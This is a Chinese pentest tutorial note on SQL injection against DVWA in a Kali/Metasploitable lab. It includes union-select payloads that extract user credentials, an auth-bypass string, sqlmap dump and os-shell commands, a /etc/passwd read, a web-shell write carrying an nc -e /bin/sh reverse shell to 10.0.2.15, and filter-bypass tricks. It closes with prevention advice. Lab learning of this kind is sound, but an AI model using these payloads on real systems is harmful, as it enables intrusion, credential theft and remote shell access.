【渗透测试笔记】十、SQL注入漏洞
程序员文章站
2022-05-27 15:45:38
...
We are all in the gutter, but some of us are looking at the stars.
身在井隅,心向璀璨。
本文仅供学习交流,正确使用渗透测试,遵守相关法律法规,请勿用于非法用途。
实验环境
本实验基于以下环境:
确保所有虚拟机处于同一个NAT Network下
- 启动Metasploitable,利用 ifconfig 获取本机IP
- 启动Kali,进行渗透测试,浏览器输入Metasploitable中查询到的IP,访问漏洞页面
SQL注入的危害
- 获取访问数据库的权限 — 访问敏感数据
- 读写文件,获取shell
漏洞挖掘
同样以DVWA为例,默认登录账号admin/password
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境。
SQL注入
设置安全级别为Low
利用 " and " 或者 " or ",进行漏洞挖掘
存在注入漏洞
尝试进一步利用:
-
order by 确定表的列数
报错,说明表不足10列,二分法,继续尝试,5,2
测试结果,该表只有两列。 -
union select 将查询结果回显客户端
查询数据库名,用户名
union select database(),user() #
- 查询当前数据库中的表:
union select table_name,null from information_schema.tables where table_schema='dvwa' #
- 查询users表中的列名:
union select column_name , null from information_schema.columns where table_name="users" #
- 以查询用户名和密码为例:
union select user,password from users #
SQL盲注
盲注与正常注入的区别是,盲注不会在客户端回显错误信息
同样可以使用 " and " 或者 " or "进行判断和验证,是否存在漏洞
如果存在漏洞则进一步查询和利用,类似上述SQL注入的方法
SQLMAP
sqlmap是一款开源的sql自动化注入工具,可以用来检测和利用sql注入漏洞
选择 A1-Injection -> SQLMAP Practice Target -> User Info
这是一个登录查看账号信息的页面
在介绍SQLMAP之前,先尝试手工注入
- 随便输入一个账号密码,admin/123456,99.99999%无法登录
- 尝试利用用户名,
admin' or 1=1 #
尽管密码是错误的,还是成功登录admin账号,获取了其他账号信息
同样的方法可以用于密码
使用SQLMAP工具
说明书:
sqlmap -h
简单举例说明:
sqlmap -u "存在漏洞的网页链接"
利用刚才的漏洞网页试试,发现了username是可注入的,并且查询到该数据库大概率为MySql
- 查询目标服务器中有什么数据库
sqlmap -u [URL] --dbs
- 查询对应数据库中有哪些表
sqlmap -u [URL] --tables -D database_name
- 查询数据库中对应表的列
sqlmap -u [URL] --columns -T table_name -D database_name
- 查询表中所有数据
sqlmap -u [URL] -T table_name -D database_name --dump
利用SQLMAP获取shell
- sql-shell
sqlmap -u [URL] --sql-shell
- os-shell
sqlmap -u [URL] --os-shell
读写文件,获取shell
- 读文件,如读取
/etc/passwd
union select load_file('/etc/passwd'),null #
- 写文件,前提有足够的权限可以写入
union select "<?passthru('nc -e /bin/sh 10.0.2.15 8888');?>",null into outfile "/var/www/shell.txt" #
- 通过写入的文件,利用文件上传漏洞或者文件包含漏洞,读取文件,获取shell
过滤器绕过
- 敏感字符转换,"#" -> “%23”
- 大小写混用
- burp suite绕过客户端过滤
- 举例: UNioN/**/SEleCt+1,2+%23
漏洞预防
- 对需要查询的数据中存在的特殊字符进行转义处理,或编码转换
- 正则表达式检验数据是否合法
- 避免将错误查询信息展示给客户端
- 参数化查询,避免SQL拼接